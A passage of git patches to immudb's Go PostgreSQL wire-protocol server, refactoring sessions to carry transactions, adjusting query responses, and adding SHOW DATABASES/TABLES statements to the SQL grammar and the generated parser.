@@ -284,16 +280,12 @@ func (s *session) fetchAndWriteResults(ctx context.Context, statements string, p { return pserr.ErrUseDBStatementNotSupported } - case *sql.CreateDatabaseStmt: - { - return pserr.ErrCreateDBStatementNotSupported - } case *sql.SelectStmt: - if err = s.query(ctx, st, parameters, resultColumnFormatCodes, skipRowDesc); err != nil { + if err = s.query(st, parameters, resultColumnFormatCodes, skipRowDesc); err != nil { return err } - case sql.SQLStmt: - if err = s.exec(ctx, st, parameters, resultColumnFormatCodes, skipRowDesc); err != nil { + default: + if err = s.exec(st, parameters, resultColumnFormatCodes, skipRowDesc); err != nil { return err } } @@ -302,11 +294,12 @@ func (s *session) fetchAndWriteResults(ctx context.Context, statements string, p return nil } -func (s *session) query(ctx context.Context, st *sql.SelectStmt, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { - res, err := s.database.SQLQueryPrepared(ctx, nil, st, parameters) +func (s *session) query(st *sql.SelectStmt, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { + res, err := s.db.SQLQueryPrepared(s.ctx, s.tx, st, parameters) if err != nil { return err } + if res != nil && len(res.Rows) > 0 { if !skipRowDesc { if _, err = s.writeMessage(bm.RowDescription(res.Columns, nil)); err != nil { @@ -318,24 +311,27 @@ func (s *session) query(ctx context.Context, st *sql.SelectStmt, parameters []*s } return nil } - if _, err = s.writeMessage(bm.EmptyQueryResponse()); err != nil { - return err - } - return nil + + _, err = s.writeMessage(bm.EmptyQueryResponse()) + return err } -func (s *session) exec(ctx context.Context, st sql.SQLStmt, namedParams []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { +func (s *session) exec(st sql.SQLStmt, namedParams []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { params := make(map[string]interface{}, len(namedParams)) for _, p := range namedParams { params[p.Name] = schema.RawValue(p.Value) } - if _, _, err := s.database.SQLExecPrepared(ctx, nil, []sql.SQLStmt{st}, params); err != nil { + ntx, _, err := s.db.SQLExecPrepared(s.ctx, s.tx, []sql.SQLStmt{st}, params) + s.tx = ntx + + if err != nil { return err } - return nil + _, err = s.writeMessage(bm.EmptyQueryResponse()) + return err } type portal struct { @@ -353,16 +349,16 @@ type statement struct { Results []*schema.Column } -func (s *session) inferParamAndResultCols(ctx context.Context, stmt sql.SQLStmt) ([]*schema.Column, []*schema.Column, error) { +func (s *session) inferParamAndResultCols(stmt sql.SQLStmt) ([]*schema.Column, []*schema.Column, error) { resCols := make([]*schema.Column, 0) sel, ok := stmt.(*sql.SelectStmt) if ok { - rr, err := s.database.SQLQueryRowReader(ctx, nil, sel, nil) + rr, err := s.db.SQLQueryRowReader(s.ctx, s.tx, sel, nil) if err != nil { return nil, nil, err } - cols, err := rr.Columns(ctx) + cols, err := rr.Columns(s.ctx) if err != nil { return nil, nil, err } @@ -371,7 +367,7 @@ func (s *session) inferParamAndResultCols(ctx context.Context, stmt sql.SQLStmt) } } - r, err := s.database.InferParametersPrepared(ctx, nil, stmt) + r, err := s.db.InferParametersPrepared(s.ctx, s.tx, stmt) if err != nil { return nil, nil, err } @@ -381,7 +377,7 @@ func (s *session) inferParamAndResultCols(ctx context.Context, stmt sql.SQLStmt) } var paramsNameList []string - for n, _ := range r { + for n := range r { paramsNameList = append(paramsNameList, n) } sort.Strings(paramsNameList) diff --git a/pkg/pgsql/server/query_machine_test.go b/pkg/pgsql/server/query_machine_test.go index badca9f56e..7d6d78925c 100644 --- a/pkg/pgsql/server/query_machine_test.go +++ b/pkg/pgsql/server/query_machine_test.go @@ -17,12 +17,10 @@ limitations under the License. package server import ( - "context" "errors" "fmt" "net" "os" - "sync" "testing" "github.com/codenotary/immudb/embedded/logger" @@ -404,7 +402,6 @@ func TestSession_QueriesMachine(t *testing.T) { s := session{ log: logger.NewSimpleLogger("test", os.Stdout), mr: mr, - Mutex: sync.Mutex{}, statements: make(map[string]*statement), portals: make(map[string]*portal), } @@ -417,7 +414,7 @@ func TestSession_QueriesMachine(t *testing.T) { } go tt.in(c2) - err := s.QueriesMachine(context.Background()) + err := s.QueryMachine() require.Equal(t, tt.out, err) }) diff --git a/pkg/pgsql/server/request_handler.go b/pkg/pgsql/server/request_handler.go index fe3af376af..a3ef5b0eb9 100644 --- a/pkg/pgsql/server/request_handler.go +++ b/pkg/pgsql/server/request_handler.go @@ -21,24 +21,20 @@ import ( "net" ) -func (s *srv) handleRequest(conn net.Conn) (err error) { - ss := s.SessionFactory.NewSession(conn, s.Logger, s.sysDb, s.tlsConfig) +func (s *pgsrv) handleRequest(ctx context.Context, conn net.Conn) (err error) { + ss := s.newSession(conn) + defer ss.Close() - // initialize session err = ss.InitializeSession() if err != nil { return err } - // authentication - err = ss.HandleStartup(s.dbList) - if err != nil { - return err - } - // https://www.postgresql.org/docs/current/protocol-flow.html#id-1.10.5.7.4 - err = ss.QueriesMachine(context.Background()) + + err = ss.HandleStartup(ctx) if err != nil { return err } - return nil + // https://www.postgresql.org/docs/current/protocol-flow.html#id-1.10.5.7.4 + return ss.QueryMachine() } diff --git a/pkg/pgsql/server/request_handler_test.go b/pkg/pgsql/server/request_handler_test.go deleted file mode 100644 index abc3e3f126..0000000000 --- a/pkg/pgsql/server/request_handler_test.go +++ /dev/null @@ -1,51 +0,0 @@ -/* -Copyright 2022 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package server - -import ( - "errors" - "net" - "testing" - - "github.com/stretchr/testify/require" -) - -func TestHandleRequestNil(t *testing.T) { - s := NewSessionMock() - sf := NewSessionFactoryMock(s) - srv := New(SessFactory(sf)) - - c, _ := net.Pipe() - err := srv.handleRequest(c) - - require.NoError(t, err) -} - -func TestHandleRequestInitializeError(t *testing.T) { - s := NewSessionMock() - errInit := errors.New("init error") - s.InitializeSessionF = func() error { - return errInit - } - sf := NewSessionFactoryMock(s) - srv := New(SessFactory(sf)) - - c, _ := net.Pipe() - err := srv.handleRequest(c) - - require.ErrorIs(t, err, errInit) -} diff --git a/pkg/pgsql/server/server.go b/pkg/pgsql/server/server.go index d124f9d000..73fe293621 100644 --- a/pkg/pgsql/server/server.go +++ b/pkg/pgsql/server/server.go @@ -17,6 +17,7 @@ limitations under the License. package server import ( + "context" "crypto/tls" "errors" "fmt" @@ -29,95 +30,103 @@ import ( "golang.org/x/net/netutil" ) -type srv struct { +type pgsrv struct { m sync.RWMutex running bool maxConnections int tlsConfig *tls.Config - SessionFactory SessionFactory - Logger logger.Logger - Address string - Port int + logger logger.Logger + host string + port int + immudbPort int dbList database.DatabaseList - sysDb database.DB listener net.Listener } -type Server interface { +type PGSQLServer interface { Initialize() error Serve() error Stop() error GetPort() int } -func New(setters ...Option) *srv { - +func New(setters ...Option) *pgsrv { // Default Options - cli := &srv{ + srv := &pgsrv{ running: true, maxConnections: 1000, tlsConfig: &tls.Config{}, - SessionFactory: NewSessionFactory(), - Logger: logger.NewSimpleLogger("sqlSrv", os.Stderr), - Address: "", - Port: 5432, + logger: logger.NewSimpleLogger("pgsqlSrv", os.Stderr), + host: "0.0.0.0", + immudbPort: 3322, + port: 5432, } for _, setter := range setters { - setter(cli) + setter(srv) } - return cli + return srv } // Initialize initialize listener. If provided port is zero os auto assign a free one. -func (s *srv) Initialize() (err error) { - s.listener, err = net.Listen("tcp", fmt.Sprintf("%s:%d", s.Address, s.Port)) +func (s *pgsrv) Initialize() (err error) { + s.listener, err = net.Listen("tcp", fmt.Sprintf("%s:%d", s.host, s.port)) if err != nil { return err } return nil } -func (s *srv) Serve() (err error) { +func (s *pgsrv) Serve() (err error) { s.m.Lock() if s.listener == nil { return errors.New("no listener found for pgsql server") } - s.listener = netutil.LimitListener(s.listener, s.maxConnections) s.m.Unlock() for { s.m.Lock() if !s.running { + s.m.Unlock() return nil } s.m.Unlock() + conn, err := s.listener.Accept() if err != nil { - s.Logger.Errorf("%v", err) + s.logger.Errorf("%v", err) } else { - go s.handleRequest(conn) + go s.handleRequest(context.Background(), conn) } } } -func (s *srv) Stop() (err error) { +func (s *pgsrv) newSession(conn net.Conn) Session { + return newSession(conn, s.host, s.immudbPort, s.logger, s.tlsConfig, s.dbList) +} + +func (s *pgsrv) Stop() (err error) { s.m.Lock() defer s.m.Unlock() + s.running = false + if s.listener != nil { return s.listener.Close() } + return nil } -func (s *srv) GetPort() int { +func (s *pgsrv) GetPort() int { s.m.Lock() defer s.m.Unlock() + if s.listener != nil { return s.listener.Addr().(*net.TCPAddr).Port } + return 0 } diff --git a/pkg/pgsql/server/server_test.go b/pkg/pgsql/server/server_test.go index d99664d9fc..944b783515 100644 --- a/pkg/pgsql/server/server_test.go +++ b/pkg/pgsql/server/server_test.go @@ -23,27 +23,27 @@ import ( ) func TestSrv_Initialize(t *testing.T) { - s := srv{ - Port: 99999999999999999, + s := pgsrv{ + port: 99999999999999999, } err := s.Initialize() require.ErrorContains(t, err, "invalid port") } func TestSrv_GetPort(t *testing.T) { - s := srv{} + s := pgsrv{} err := s.GetPort() require.Equal(t, 0, err) } func TestSrv_Stop(t *testing.T) { - s := srv{} + s := pgsrv{} res := s.Stop() require.Nil(t, res) } func TestSrv_Serve(t *testing.T) { - s := srv{} + s := pgsrv{} err := s.Serve() require.ErrorContains(t, err, "no listener found for pgsql server") } diff --git a/pkg/pgsql/server/session.go b/pkg/pgsql/server/session.go index da71d146ca..37df42b662 100644 --- a/pkg/pgsql/server/session.go +++ b/pkg/pgsql/server/session.go @@ -19,13 +19,12 @@ package server import ( "context" "crypto/tls" - "encoding/json" + "net" - "sync" "github.com/codenotary/immudb/embedded/logger" - "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/auth" + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/pgsql/errors" fm "github.com/codenotary/immudb/pkg/pgsql/server/fmessages" @@ -33,40 +32,54 @@ import ( ) type session struct { - tlsConfig *tls.Config - log logger.Logger - mr MessageReader - username string - database database.DB - sysDb database.DB + immudbHost string + immudbPort int + tlsConfig *tls.Config + log logger.Logger + + dbList database.DatabaseList + + client client.ImmuClient + + ctx context.Context + db database.DB + tx *sql.SQLTx + + mr MessageReader + connParams map[string]string protocolVersion string - portals map[string]*portal - statements map[string]*statement - sync.Mutex + + statements map[string]*statement + portals map[string]*portal } type Session interface { InitializeSession() error - HandleStartup(dbList database.DatabaseList) error - QueriesMachine(ctx context.Context) (err error) - ErrorHandle(err error) + HandleStartup(context.Context) error + QueryMachine() error + HandleError(error) + Close() error } -func NewSession(c net.Conn, log logger.Logger, sysDb database.DB, tlsConfig *tls.Config) *session { - s := &session{ +func newSession(c net.Conn, immudbHost string, immudbPort int, + log logger.Logger, tlsConfig *tls.Config, dbList database.DatabaseList) *session { + + return &session{ + immudbHost: immudbHost, + immudbPort: immudbPort, tlsConfig: tlsConfig, log: log, + dbList: dbList, mr: NewMessageReader(c), - sysDb: sysDb, - portals: make(map[string]*portal), statements: make(map[string]*statement), + portals: make(map[string]*portal), } - return s } -func (s *session) ErrorHandle(e error) { +func (s *session) HandleError(e error) { pgerr := errors.MapPgError(e) + _, err := s.writeMessage(pgerr.Encode()) if err != nil { s.log.Errorf("unable to write error on wire: %w", err) @@ -78,8 +91,11 @@ func (s *session) nextMessage() (interface{}, bool, error) { if err != nil { return nil, false, err } + s.log.Debugf("received %s - %s message", string(msg.t), pgmeta.MTypes[msg.t]) + extQueryMode := false + i, err := s.parseRawMessage(msg) if msg.t == 'P' || msg.t == 'B' || @@ -88,6 +104,7 @@ func (s *session) nextMessage() (interface{}, bool, error) { msg.t == 'H' { extQueryMode = true } + return i, extQueryMode, err } @@ -117,33 +134,9 @@ func (s *session) parseRawMessage(msg *rawMessage) (interface{}, error) { } func (s *session) writeMessage(msg []byte) (int, error) { - s.debugMessage(msg) - return s.mr.Write(msg) -} - -func (s *session) debugMessage(msg []byte) { - if s.log != nil && len(msg) > 0 { + if len(msg) > 0 { s.log.Debugf("write %s - %s message", string(msg[0]), pgmeta.MTypes[msg[0]]) } -} - -func (s *session) getUser(username []byte) (*auth.User, error) { - key := make([]byte, 1+len(username)) - // todo put KeyPrefixUser in a common package - key[0] = 1 - copy(key[1:], username) - - item, err := s.sysDb.Get(context.Background(), &schema.KeyRequest{Key: key}) - if err != nil { - return nil, err - } - var usr auth.User - - err = json.Unmarshal(item.Value, &usr) - if err != nil { - return nil, err - } - - return &usr, nil + return s.mr.Write(msg) } diff --git a/pkg/pgsql/server/session_factory.go b/pkg/pgsql/server/session_factory.go deleted file mode 100644 index 3658601fca..0000000000 --- a/pkg/pgsql/server/session_factory.go +++ /dev/null @@ -1,39 +0,0 @@ -/* -Copyright 2022 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package server - -import ( - "crypto/tls" - "net" - - "github.com/codenotary/immudb/embedded/logger" - "github.com/codenotary/immudb/pkg/database" -) - -type sessionFactory struct{} - -type SessionFactory interface { - NewSession(conn net.Conn, log logger.Logger, sysDb database.DB, tlsConfig *tls.Config) Session -} - -func NewSessionFactory() sessionFactory { - return sessionFactory{} -} - -func (sm sessionFactory) NewSession(conn net.Conn, log logger.Logger, sysDb database.DB, tlsConfig *tls.Config) Session { - return NewSession(conn, log, sysDb, tlsConfig) -} diff --git a/pkg/pgsql/server/session_factory_test.go b/pkg/pgsql/server/session_factory_test.go deleted file mode 100644 index 3830e12f9d..0000000000 --- a/pkg/pgsql/server/session_factory_test.go +++ /dev/null @@ -1,37 +0,0 @@ -/* -Copyright 2022 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package server - -import ( - "crypto/tls" - "net" - - "github.com/codenotary/immudb/embedded/logger" - "github.com/codenotary/immudb/pkg/database" -) - -type sessionFactoryMock struct { - s Session -} - -func NewSessionFactoryMock(s Session) sessionFactoryMock { - return sessionFactoryMock{s: s} -} - -func (sm sessionFactoryMock) NewSession(conn net.Conn, log logger.Logger, sysDb database.DB, tlsConfig *tls.Config) Session { - return sm.s -} diff --git a/pkg/pgsql/server/ssl_handshake_test.go b/pkg/pgsql/server/ssl_handshake_test.go index 38829514b5..40f5e07d06 100644 --- a/pkg/pgsql/server/ssl_handshake_test.go +++ b/pkg/pgsql/server/ssl_handshake_test.go @@ -21,7 +21,6 @@ import ( "io" "net" "os" - "sync" "testing" "github.com/codenotary/immudb/embedded/logger" @@ -69,7 +68,6 @@ EKTcWGekdmdDPsHloRNtsiCa697B2O9IFA== s := session{ tlsConfig: cfg, mr: mr, - Mutex: sync.Mutex{}, log: logger.NewSimpleLogger("test", os.Stdout), } From d7dcf9d02bcecd71e92a11dbc9c4f4b4e36fec41 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 26 Oct 2023 14:25:21 +0200 Subject: [PATCH 0896/1062] chore(cmd/immudb): upgrade to new pgsql changes Signed-off-by: Jeronimo Irazabal --- cmd/immudb/command/immudbcmdtest/immuServerMock.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cmd/immudb/command/immudbcmdtest/immuServerMock.go b/cmd/immudb/command/immudbcmdtest/immuServerMock.go index 14ff133658..4ea6c99acd 100644 --- a/cmd/immudb/command/immudbcmdtest/immuServerMock.go +++ b/cmd/immudb/command/immudbcmdtest/immuServerMock.go @@ -29,11 +29,11 @@ type ImmuServerMock struct { Logger logger.Logger StateSigner server.StateSigner Ssf stream.ServiceFactory - PgsqlSrv pgsqlsrv.Server + PgsqlSrv pgsqlsrv.PGSQLServer DbList database.DatabaseList } -func (s *ImmuServerMock) WithPgsqlServer(psrv pgsqlsrv.Server) server.ImmuServerIf { +func (s *ImmuServerMock) WithPgsqlServer(psrv pgsqlsrv.PGSQLServer) server.ImmuServerIf { s.PgsqlSrv = psrv return s } From 55e6ac1f652dc078883d83f345c1918ca7c1c82f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 26 Oct 2023 14:25:48 +0200 Subject: [PATCH 0897/1062] chore(pkg/client): possibility to retrieve session id Signed-off-by: Jeronimo Irazabal --- pkg/client/client.go | 2 ++ 1 file changed, 2 insertions(+) diff --git a/pkg/client/client.go b/pkg/client/client.go index e31c91160a..b9f4efa1ad 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -100,6 +100,8 @@ type ImmuClient interface { // (without explicit call, the server will only free resources after session inactivity timeout). CloseSession(ctx context.Context) error + GetSessionID() string + // CreateUser creates new user with given credentials and permission. // // Required user permission is SysAdmin or database Admin. From 4a9e6f23519f7bf0c53df057a4d800e44f12f220 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 26 Oct 2023 14:26:23 +0200 Subject: [PATCH 0898/1062] chore(pkg/server): upgrade to transactional pgsql server Signed-off-by: Jeronimo Irazabal --- pkg/server/server.go | 9 ++++++++- pkg/server/types.go | 6 +++--- 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/pkg/server/server.go b/pkg/server/server.go index f129f9fc90..cd1676a64a 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -250,7 +250,14 @@ func (s *ImmuServer) Initialize() error { protomodel.RegisterAuthorizationServiceServer(s.GrpcServer, &authenticationServiceImp{server: s}) grpc_prometheus.Register(s.GrpcServer) - s.PgsqlSrv = pgsqlsrv.New(pgsqlsrv.Address(s.Options.Address), pgsqlsrv.Port(s.Options.PgsqlServerPort), pgsqlsrv.DatabaseList(s.dbList), pgsqlsrv.SysDb(s.sysDB), pgsqlsrv.TlsConfig(s.Options.TLSConfig), pgsqlsrv.Logger(s.Logger)) + s.PgsqlSrv = pgsqlsrv.New( + pgsqlsrv.Host(s.Options.Address), + pgsqlsrv.Port(s.Options.PgsqlServerPort), + pgsqlsrv.ImmudbPort(s.Options.Port), + pgsqlsrv.TLSConfig(s.Options.TLSConfig), + pgsqlsrv.Logger(s.Logger), + pgsqlsrv.DatabaseList(s.dbList), + ) if s.Options.PgsqlServer { if err = s.PgsqlSrv.Initialize(); err != nil { return err diff --git a/pkg/server/types.go b/pkg/server/types.go index a62f2e9389..1973a24ab3 100644 --- a/pkg/server/types.go +++ b/pkg/server/types.go @@ -81,7 +81,7 @@ type ImmuServer struct { pgsqlMux sync.Mutex StateSigner StateSigner StreamServiceFactory stream.ServiceFactory - PgsqlSrv pgsqlsrv.Server + PgsqlSrv pgsqlsrv.PGSQLServer remoteStorage remotestorage.Storage @@ -112,7 +112,7 @@ type ImmuServerIf interface { WithLogger(logger.Logger) ImmuServerIf WithStateSigner(stateSigner StateSigner) ImmuServerIf WithStreamServiceFactory(ssf stream.ServiceFactory) ImmuServerIf - WithPgsqlServer(psrv pgsqlsrv.Server) ImmuServerIf + WithPgsqlServer(psrv pgsqlsrv.PGSQLServer) ImmuServerIf WithDbList(dbList database.DatabaseList) ImmuServerIf } @@ -140,7 +140,7 @@ func (s *ImmuServer) WithOptions(options *Options) ImmuServerIf { } // WithPgsqlServer ... -func (s *ImmuServer) WithPgsqlServer(psrv pgsqlsrv.Server) ImmuServerIf { +func (s *ImmuServer) WithPgsqlServer(psrv pgsqlsrv.PGSQLServer) ImmuServerIf { s.PgsqlSrv = psrv return s } From 895a082477063bdc4025a268987607b6bf7432a9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 26 Oct 2023 15:41:06 +0200 Subject: [PATCH 0899/1062] chore(pkg/pgsql): proper handling of queries with empty resultsets Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/query_machine.go | 48 +++++++++++++++---------------- 1 file changed, 23 insertions(+), 25 deletions(-) diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index c2f721cc25..276b9d2f8f 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -64,7 +64,7 @@ func (s *session) QueryMachine() error { case fm.TerminateMsg: return s.mr.CloseConnection() case fm.QueryMsg: - err := s.fetchAndWriteResults(v.GetStatements(), nil, nil, false) + err := s.fetchAndWriteResults(v.GetStatements(), nil, nil, extQueryMode) if err != nil { waitForSync = extQueryMode s.HandleError(err) @@ -237,17 +237,14 @@ func (s *session) QueryMachine() error { delete(s.portals, v.PortalName) - if err = s.fetchAndWriteResults(portal.Statement.SQLStatement, + err := s.fetchAndWriteResults(portal.Statement.SQLStatement, portal.Parameters, portal.ResultColumnFormatCodes, - true); err != nil { + extQueryMode, + ) + if err != nil { waitForSync = extQueryMode s.HandleError(err) - continue - } - - if _, err := s.writeMessage(bm.CommandComplete([]byte("ok"))); err != nil { - waitForSync = extQueryMode } case fm.FlushMsg: // there is no buffer to be flushed @@ -258,7 +255,12 @@ func (s *session) QueryMachine() error { } } -func (s *session) fetchAndWriteResults(statements string, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { +func (s *session) fetchAndWriteResults(statements string, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, extQueryMode bool) error { + if len(statements) == 0 { + _, err := s.writeMessage(bm.EmptyQueryResponse()) + return err + } + if s.isInBlackList(statements) { return nil } @@ -281,11 +283,18 @@ func (s *session) fetchAndWriteResults(statements string, parameters []*schema.N return pserr.ErrUseDBStatementNotSupported } case *sql.SelectStmt: - if err = s.query(st, parameters, resultColumnFormatCodes, skipRowDesc); err != nil { + if err = s.query(st, parameters, resultColumnFormatCodes, extQueryMode); err != nil { return err } default: - if err = s.exec(st, parameters, resultColumnFormatCodes, skipRowDesc); err != nil { + if err = s.exec(st, parameters, resultColumnFormatCodes, extQueryMode); err != nil { + return err + } + } + + if extQueryMode { + _, err = s.writeMessage(bm.CommandComplete([]byte("ok"))) + if err != nil { return err } } @@ -300,19 +309,13 @@ func (s *session) query(st *sql.SelectStmt, parameters []*schema.NamedParam, res return err } - if res != nil && len(res.Rows) > 0 { - if !skipRowDesc { - if _, err = s.writeMessage(bm.RowDescription(res.Columns, nil)); err != nil { - return err - } - } - if _, err = s.writeMessage(bm.DataRow(res.Rows, len(res.Columns), resultColumnFormatCodes)); err != nil { + if !skipRowDesc { + if _, err = s.writeMessage(bm.RowDescription(res.Columns, nil)); err != nil { return err } - return nil } - _, err = s.writeMessage(bm.EmptyQueryResponse()) + _, err = s.writeMessage(bm.DataRow(res.Rows, len(res.Columns), resultColumnFormatCodes)) return err } @@ -326,11 +329,6 @@ func (s *session) exec(st sql.SQLStmt, namedParams []*schema.NamedParam, resultC ntx, _, err := s.db.SQLExecPrepared(s.ctx, s.tx, []sql.SQLStmt{st}, params) s.tx = ntx - if err != nil { - return err - } - - _, err = s.writeMessage(bm.EmptyQueryResponse()) return err } From fe4db08e1aa4fb2d80d9b14ba4790a56fea3c480 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 27 Oct 2023 09:55:08 +0200 Subject: [PATCH 0900/1062] chore(pkg/pgsql): support multiple-statements in simple-query mode Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/query_machine.go | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index 276b9d2f8f..3661340ee9 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -292,11 +292,9 @@ func (s *session) fetchAndWriteResults(statements string, parameters []*schema.N } } - if extQueryMode { - _, err = s.writeMessage(bm.CommandComplete([]byte("ok"))) - if err != nil { - return err - } + _, err = s.writeMessage(bm.CommandComplete([]byte("ok"))) + if err != nil { + return err } } From 90e9dbf78498d009dd72574af5d752b0102b4170 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 27 Oct 2023 09:59:41 +0200 Subject: [PATCH 0901/1062] chore(pkg/pgsql): comment describing pgsql wire protocol constraints Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/query_machine.go | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index 3661340ee9..ea6238f14e 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -94,10 +94,6 @@ func (s *session) QueryMachine() error { continue } - // todo @Michele The query string contained in a Parse message cannot include more than one SQL statement; - // else a syntax error is reported. This restriction does not exist in the simple-query protocol, - // but it does exist in the extended protocol, because allowing prepared statements or portals to contain - // multiple commands would complicate the protocol unduly. stmts, err := sql.Parse(strings.NewReader(v.Statements)) if err != nil { waitForSync = extQueryMode @@ -105,7 +101,7 @@ func (s *session) QueryMachine() error { continue } - // The query string contained in a Parse message cannot include more than one SQL statement; + // Note: as stated in the pgsql spec, the query string contained in a Parse message cannot include more than one SQL statement; // else a syntax error is reported. This restriction does not exist in the simple-query protocol, but it does exist // in the extended protocol, because allowing prepared statements or portals to contain multiple commands would // complicate the protocol unduly. From fc87c85a21a0bb9cfd3056b2afc7e6b27f7aeafa Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 27 Oct 2023 10:19:59 +0200 Subject: [PATCH 0902/1062] feat(embedded/sql): show databases/tables stmt Signed-off-by: Jeronimo Irazabal --- embedded/sql/parser.go | 3 + embedded/sql/sql_grammar.y | 15 + embedded/sql/sql_parser.go | 559 +++++++++++++++++++------------------ 3 files changed, 308 insertions(+), 269 deletions(-) diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 1ffe4b0ce1..4855c6a617 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -92,6 +92,9 @@ var reservedWords = map[string]int{ "IS": IS, "CAST": CAST, "::": SCAST, + "SHOW": SHOW, + "DATABASES": DATABASES, + "TABLES": TABLES, } var joinTypes = map[string]JoinType{ diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index eb78b008e5..63b8badca5 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -75,6 +75,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %token SELECT DISTINCT FROM JOIN HAVING WHERE GROUP BY LIMIT OFFSET ORDER ASC DESC AS UNION ALL %token NOT LIKE IF EXISTS IN IS %token AUTO_INCREMENT NULL CAST SCAST +%token SHOW DATABASES TABLES %token NPARAM %token PPARAM %token JOINTYPE @@ -523,6 +524,20 @@ dqlstmt: right: $4.(DataSource), } } +| + SHOW DATABASES + { + $$ = &SelectStmt{ + ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}}, + } + } +| + SHOW TABLES + { + $$ = &SelectStmt{ + ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}}, + } + } select_stmt: SELECT opt_distinct opt_selectors FROM ds opt_indexon opt_joins opt_where opt_groupby opt_having opt_orderby opt_limit opt_offset { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index 069d296943..c5ec1dc80f 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -119,22 +119,25 @@ const AUTO_INCREMENT = 57406 const NULL = 57407 const CAST = 57408 const SCAST = 57409 -const NPARAM = 57410 -const PPARAM = 57411 -const JOINTYPE = 57412 -const LOP = 57413 -const CMPOP = 57414 -const IDENTIFIER = 57415 -const TYPE = 57416 -const INTEGER = 57417 -const FLOAT = 57418 -const VARCHAR = 57419 -const BOOLEAN = 57420 -const BLOB = 57421 -const AGGREGATE_FUNC = 57422 -const ERROR = 57423 -const DOT = 57424 -const STMT_SEPARATOR = 57425 +const SHOW = 57410 +const DATABASES = 57411 +const TABLES = 57412 +const NPARAM = 57413 +const PPARAM = 57414 +const JOINTYPE = 57415 +const LOP = 57416 +const CMPOP = 57417 +const IDENTIFIER = 57418 +const TYPE = 57419 +const INTEGER = 57420 +const FLOAT = 57421 +const VARCHAR = 57422 +const BOOLEAN = 57423 +const BLOB = 57424 +const AGGREGATE_FUNC = 57425 +const ERROR = 57426 +const DOT = 57427 +const STMT_SEPARATOR = 57428 var yyToknames = [...]string{ "$end", @@ -204,6 +207,9 @@ var yyToknames = [...]string{ "NULL", "CAST", "SCAST", + "SHOW", + "DATABASES", + "TABLES", "NPARAM", "PPARAM", "JOINTYPE", @@ -242,109 +248,110 @@ var yyExca = [...]int16{ -1, 1, 1, -1, -2, 0, - -1, 80, - 59, 146, - 62, 146, - -2, 134, - -1, 205, - 45, 110, - -2, 105, - -1, 236, - 45, 110, + -1, 83, + 59, 148, + 62, 148, + -2, 136, + -1, 208, + 45, 112, -2, 107, + -1, 239, + 45, 112, + -2, 109, } const yyPrivate = 57344 -const yyLast = 405 +const yyLast = 411 var yyAct = [...]int16{ - 79, 320, 66, 199, 115, 229, 153, 255, 259, 94, - 159, 150, 188, 235, 